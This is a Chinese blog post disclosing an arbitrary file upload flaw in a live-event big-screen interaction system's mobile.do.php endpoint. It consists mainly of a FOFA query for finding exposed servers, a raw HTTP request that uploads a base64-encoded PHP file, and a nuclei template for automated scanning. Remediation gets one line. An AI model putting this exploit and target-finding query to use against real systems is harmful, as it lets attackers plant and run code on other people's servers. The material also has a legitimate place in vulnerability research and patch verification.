当前位置: 首页 > article >正文

某华迪加现场大屏互动系统mobile.do.php任意文件上传

免责声明

本文章仅供学习与交流,请勿用于非法用途,均由使用者本人负责,文章作者不为此承担任何责任

漏洞描述

该系统是实现现场大屏互动,里面功能众多,但在mobile.do.php接口处存在任意文件上传漏洞

搜索语法

fofa

body="/wall/themes/meepo/assets/images/defaultbg.jpg" || title="现场活动大屏幕系统"

漏洞复现

在这里插入图片描述
payload

POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Content-Length: 71

filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=

查看返回包
在这里插入图片描述
访问上传地址
http://ip/data//pic//demotest_yuhuainetwork_com//pic_173068521074867.php
在这里插入图片描述

nuclei

id: jinghuadi-Upload-any-file

info:
  name: 金华迪加现场大屏互动系统任意文件上传
  author: xl
  severity: Critical
  tags: tags

http:
  - raw:
      - |-
        POST /mobile/mobile.do.php?action=msg_uploadimg HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
        Content-Type: application/x-www-form-urlencoded
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
        Connection: close
        Content-Length: 71

        filetype=php&imgbase64=PD9waHAgcGhwaW5mbygpO3VubGluayhfX0ZJTEVfXyk7Pz4=

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - \u53d1\u9001\u6210\u529f
      - type: status
        status:
          - 200

修复建议

更新到最新版本


http://www.kler.cn/a/382317.html

相关文章:

  • HarmonyOS NEXT 技术实践-基于意图框架服务实现智能分发
  • 如何打造用户友好的维护页面:6个创意提升WordPress网站体验
  • 3.4 stm32系列:定时器(PWM、定时中断)
  • 【蓝桥杯】43688-《Excel地址问题》
  • python中的字典数据和标准json格式区别
  • 【ue5学习笔记2】在场景放入一个物体的蓝图输入事件无效?
  • windows安装mysql
  • Android 依赖统一配置管理(Version Catalogs)
  • 学习党的二十大精神,推动科技创新和发展
  • Spring中的资源Resource 以及分类(多种资源的实现类)
  • Follow软件的使用入门教程
  • PostgreSQL 字段按逗号分隔成多条数据的技巧与实践 ️
  • ClickHouse创建账号和连接测试
  • 【LeetCode】【算法】338. 比特位计数
  • TS-AWG控制电光调制器:推动科技应用新发展的利器
  • 一个.NET开源、轻量级的运行耗时统计库 - MethodTimer
  • Allegro: 开源的高级视频生成模型
  • 服务器的配置复杂,租用时该如何选择参数?
  • 数据库->索引
  • 入门车载以太网(3) -- 网络层
  • 核心概念解析Caffeine 缓存模型与策略
  • 在函数 \( f(x+1) = x^2 + 1 \) 中,\( x \) 和 \( x+1 \) 代表不同的概念
  • ElasticSearch认识
  • HFSS学习笔记(五)金属过孔、复制模型带激励等问题(持续更新...)
  • 【大数据学习 | kafka】kafka的偏移量管理
  • 黄山谷捷:以创新为翼,领航新能源汽车散热基板行业